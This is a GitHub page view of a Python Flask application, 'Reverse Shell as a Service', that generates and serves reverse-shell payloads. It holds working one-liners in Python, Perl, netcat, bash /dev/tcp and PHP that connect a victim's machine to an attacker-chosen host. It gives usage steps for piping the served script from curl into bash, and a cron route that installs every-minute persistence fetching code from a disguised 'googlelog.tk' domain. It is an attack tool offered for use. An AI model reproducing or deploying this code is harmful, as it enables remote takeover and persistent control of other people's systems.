-
Notifications
You must be signed in to change notification settings - Fork 18
/
app.py
66 lines (58 loc) · 2.42 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
"""
Reverse Shell as a Service
"""
from flask import Flask
from flask import make_response
app = Flask(__name__)
usgae = \
"""# Reverse Shell as a Service
# https://github.com/omg2hei/ReShellAAS
#
# 1. On Attacker Machine:
# nc -l 1337
#
# 2. On The Target Machine:
# curl http://reshell.tk/ip/1337 | bash
#
# 3. Enjoy it.
"""
def reverse_shell_payload(host, port):
payload = {
'python': """python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("%(host)s",%(port)s)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'""" % {'host': host, 'port': port},
'perl': """perl -e 'use Socket;$i="%(host)s";$p=%(port)s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" % {'host': host, 'port': port},
'nc': """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %(host)s %(port)s >/tmp/f""" % {'host': host, 'port': port},
'sh': """/bin/sh -i >& /dev/tcp/%(host)s/%(port)s 0>&1""" % {'host': host, 'port': port},
'php': """php -r '$sock=fsockopen("%(host)s",%(port)s);exec("/bin/sh -i <&3 >&3 2>&3");'""" % {'host': host, 'port': port}, # 未测试
}
return payload
def generate_shell_script(host, port):
payload = reverse_shell_payload(host, port)
shell_script = ''
for key in payload:
shell_script += """
if command -v %(key)s > /dev/null 2>&1; then
%(payload)s
exit;
fi
""" % {'key': key, 'payload': payload[key]}
return shell_script
@app.route('/')
@app.route('/<host>/<port>')
def main(host=None, port=None):
if host==None or port==None:
response = make_response(usgae)
response.headers["content-type"] = "text/plain"
return response
else:
shell_script = generate_shell_script(host, port)
response = make_response(usgae + shell_script)
response.headers["content-type"] = "text/plain"
return response
@app.route('/cron')
def cron():
crontab_text = "* * * * * /usr/bin/curl http://googlelog.tk/googlelog.tk/443 | bash\n"
response = make_response(crontab_text)
response.headers["content-type"] = "text/plain"
return response
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)